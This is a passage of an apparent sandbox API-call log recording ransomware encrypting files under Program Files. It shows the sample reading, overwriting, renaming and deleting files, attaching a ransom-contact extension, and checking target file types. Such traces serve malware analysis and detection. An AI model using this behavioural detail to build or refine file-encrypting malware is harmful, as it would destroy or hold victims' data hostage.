lpNewFilePointer=0x0) returned 1 [0051.889] ReadFile (in: hFile=0x1c8, lpBuffer=0x36b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x36b0058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.912] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.912] WriteFile (in: hFile=0x1c8, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2b1fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0052.289] SetEndOfFile (hFile=0x1c8) returned 1 [0052.289] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f71898 [0052.292] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.292] WriteFile (in: hFile=0x1c8, lpBuffer=0x3f71898*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f71898*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.294] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0xace7d, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.294] WriteFile (in: hFile=0x1c8, lpBuffer=0x3f71898*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f71898*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.295] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x1c6b78, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.295] WriteFile (in: hFile=0x1c8, lpBuffer=0x3f71898*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f71898*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.297] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f71898 | out: hHeap=0x4b0000) returned 1 [0052.297] CloseHandle (hObject=0x1c8) returned 1 [0052.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0052.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0052.297] lstrlenW (lpString=".doc") returned 4 [0052.297] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.297] lstrlenW (lpString=".docx") returned 5 [0052.297] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0052.297] lstrlenW (lpString=".pdf") returned 4 [0052.297] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.297] lstrlenW (lpString=".xls") returned 4 [0052.297] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.298] lstrlenW (lpString=".xlsx") returned 5 [0052.298] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0052.298] lstrlenW (lpString=".ppt") returned 4 [0052.298] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0052.298] lstrlenW (lpString=".zip") returned 4 [0052.298] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.298] lstrlenW (lpString=".rar") returned 4 [0052.298] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.298] lstrlenW (lpString=".bz2") returned 4 [0052.298] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.298] lstrlenW (lpString=".7z") returned 3 [0052.298] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0052.298] lstrlenW (lpString=".dbf") returned 4 [0052.298] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0052.298] lstrlenW (lpString=".1cd") returned 4 [0052.298] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0052.298] lstrlenW (lpString=".jpg") returned 4 [0052.298] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0052.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0052.298] lstrlenW (lpString=".doc") returned 4 [0052.298] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.298] lstrlenW (lpString=".docx") returned 5 [0052.298] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0052.298] lstrlenW (lpString=".pdf") returned 4 [0052.298] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.298] lstrlenW (lpString=".xls") returned 4 [0052.298] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.298] lstrlenW (lpString=".xlsx") returned 5 [0052.298] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0052.299] lstrlenW (lpString=".ppt") returned 4 [0052.299] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0052.299] lstrlenW (lpString=".zip") returned 4 [0052.299] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.299] lstrlenW (lpString=".rar") returned 4 [0052.299] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.299] lstrlenW (lpString=".bz2") returned 4 [0052.299] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.299] lstrlenW (lpString=".7z") returned 3 [0052.299] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0052.299] lstrlenW (lpString=".dbf") returned 4 [0052.299] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0052.299] lstrlenW (lpString=".1cd") returned 4 [0052.299] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0052.299] lstrlenW (lpString=".jpg") returned 4 [0052.299] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.299] lstrcmpiW (lpString1=".FLT", lpString2=".html") returned -1 [0052.299] lstrlenW (lpString="JPEGIM32.FLT") returned 12 [0052.299] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0053.582] GetFileSizeEx (in: hFile=0x244, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=241024) returned 1 [0053.582] CloseHandle (hObject=0x244) returned 1 [0053.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt")) returned 0x20 [0053.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0053.591] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0053.591] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.591] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.591] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0053.610] GetLastError () returned 0x0 [0053.610] ReadFile (in: hFile=0x244, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x3ad80, lpOverlapped=0x0) returned 1 [0053.616] WriteFile (in: hFile=0x248, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0x3ad90, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x3ad90, lpOverlapped=0x0) returned 1 [0053.620] ReadFile (in: hFile=0x244, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.620] WriteFile (in: hFile=0x248, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.620] SetEndOfFile (hFile=0x248) returned 1 [0054.162] CloseHandle (hObject=0x248) returned 1 [0054.162] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.162] SetEndOfFile (hFile=0x244) returned 1 [0054.212] CloseHandle (hObject=0x244) returned 1 [0054.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0054.212] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt")) returned 1 [0054.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0054.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0054.212] lstrlenW (lpString=".doc") returned 4 [0054.212] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0054.212] lstrlenW (lpString=".docx") returned 5 [0054.212] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0054.213] lstrlenW (lpString=".pdf") returned 4 [0054.213] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0054.213] lstrlenW (lpString=".xls") returned 4 [0054.213] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0054.213] lstrlenW (lpString=".xlsx") returned 5 [0054.213] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0054.213] lstrlenW (lpString=".ppt") returned 4 [0054.213] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0054.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0054.213] lstrlenW (lpString=".zip") returned 4 [0054.213] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0054.213] lstrlenW (lpString=".rar") returned 4 [0054.213] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0054.213] lstrlenW (lpString=".bz2") returned 4 [0054.213] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0054.213] lstrlenW (lpString=".7z") returned 3 [0054.213] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0054.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0054.213] lstrlenW (lpString=".dbf") returned 4 [0054.213] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0054.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0054.213] lstrlenW (lpString=".1cd") returned 4 [0054.213] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0054.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0054.213] lstrlenW (lpString=".jpg") returned 4 [0054.213] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0054.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0054.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0054.213] lstrlenW (lpString=".doc") returned 4 [0054.213] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0054.213] lstrlenW (lpString=".docx") returned 5 [0054.213] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0054.214] lstrlenW (lpString=".pdf") returned 4 [0054.214] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0054.214] lstrlenW (lpString=".xls") returned 4 [0054.214] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0054.214] lstrlenW (lpString=".xlsx") returned 5 [0054.214] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0054.214] lstrlenW (lpString=".ppt") returned 4 [0054.214] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0054.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0054.214] lstrlenW (lpString=".zip") returned 4 [0054.214] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0054.214] lstrlenW (lpString=".rar") returned 4 [0054.214] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0054.214] lstrlenW (lpString=".bz2") returned 4 [0054.214] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0054.214] lstrlenW (lpString=".7z") returned 3 [0054.214] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0054.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0054.214] lstrlenW (lpString=".dbf") returned 4 [0054.214] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0054.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0054.214] lstrlenW (lpString=".1cd") returned 4 [0054.214] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0054.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0054.214] lstrlenW (lpString=".jpg") returned 4 [0054.214] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0054.214] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0054.214] lstrlenW (lpString="ITIRCL55.DLL") returned 12 [0054.214] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0054.215] GetFileSizeEx (in: hFile=0x244, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=1831424) returned 1 [0054.215] CloseHandle (hObject=0x244) returned 1 [0054.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll")) returned 0x20 [0054.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0054.215] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id-9c354b42.[paydra@cock.li].html")) returned 1 [0054.290] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0054.290] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc6c | out: lpNewFilePointer=0x0) returned 1 [0054.290] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0054.290] ReadFile (in: hFile=0x244, lpBuffer=0x3630058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x3630058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.293] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x950aa, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0054.293] ReadFile (in: hFile=0x244, lpBuffer=0x3670058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x3670058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.299] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b1fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0054.299] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x17f200, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0054.299] ReadFile (in: hFile=0x244, lpBuffer=0x36b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x36b0058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.362] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.362] WriteFile (in: hFile=0x244, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2b1fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0054.382] SetEndOfFile (hFile=0x244) returned 1 [0054.382] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x40238d8 [0054.899] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0054.899] WriteFile (in: hFile=0x244, lpBuffer=0x40238d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x40238d8*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.901] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x950aa, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0054.901] WriteFile (in: hFile=0x244, lpBuffer=0x40238d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x40238d8*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.903] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x17f200, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0054.903] WriteFile (in: hFile=0x244, lpBuffer=0x40238d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x40238d8*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.905] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x40238d8 | out: hHeap=0x4b0000) returned 1 [0054.905] CloseHandle (hObject=0x244) returned 1 [0054.906] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0054.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0054.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0054.906] lstrlenW (lpString=".doc") returned 4 [0054.906] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0054.906] lstrlenW (lpString=".docx") returned 5 [0054.906] lstrcmpiW (lpString1=".docx", lpString2="5.DLL") returned -1 [0054.906] lstrlenW (lpString=".pdf") returned 4 [0054.906] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0054.906] lstrlenW (lpString=".xls") returned 4 [0054.906] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0054.906] lstrlenW (lpString=".xlsx") returned 5 [0054.906] lstrcmpiW (lpString1=".xlsx", lpString2="5.DLL") returned -1 [0054.906] lstrlenW (lpString=".ppt") returned 4 [0054.906] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0054.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0054.906] lstrlenW (lpString=".zip") returned 4 [0054.907] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0054.907] lstrlenW (lpString=".rar") returned 4 [0054.907] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0054.907] lstrlenW (lpString=".bz2") returned 4 [0054.907] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0054.907] lstrlenW (lpString=".7z") returned 3 [0054.907] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0054.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0054.907] lstrlenW (lpString=".dbf") returned 4 [0054.907] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0054.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0054.907] lstrlenW (lpString=".1cd") returned 4 [0054.907] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0054.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0054.907] lstrlenW (lpString=".jpg") returned 4 [0054.907] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0054.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0054.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0054.907] lstrlenW (lpString=".doc") returned 4 [0054.907] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0054.907] lstrlenW (lpString=".docx") returned 5 [0054.907] lstrcmpiW (lpString1=".docx", lpString2="5.DLL") returned -1 [0054.907] lstrlenW (lpString=".pdf") returned 4 [0054.907] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0054.907] lstrlenW (lpString=".xls") returned 4 [0054.907] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0054.907] lstrlenW (lpString=".xlsx") returned 5 [0054.907] lstrcmpiW (lpString1=".xlsx", lpString2="5.DLL") returned -1 [0054.907] lstrlenW (lpString=".ppt") returned 4 [0054.907] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0054.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0054.907] lstrlenW (lpString=".zip") returned 4 [0054.907] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0054.907] lstrlenW (lpString=".rar") returned 4 [0054.908] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0054.908] lstrlenW (lpString=".bz2") returned 4 [0054.908] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0054.908] lstrlenW (lpString=".7z") returned 3 [0054.908] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0054.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0054.908] lstrlenW (lpString=".dbf") returned 4 [0054.908] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0054.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0054.908] lstrlenW (lpString=".1cd") returned 4 [0054.908] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0054.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0054.908] lstrlenW (lpString=".jpg") returned 4 [0054.908] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0054.908] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0054.908] lstrlenW (lpString="InkWatson.exe.mui") returned 17 [0054.908] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0055.580] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=9216) returned 1 [0055.580] CloseHandle (hObject=0x20c) returned 1 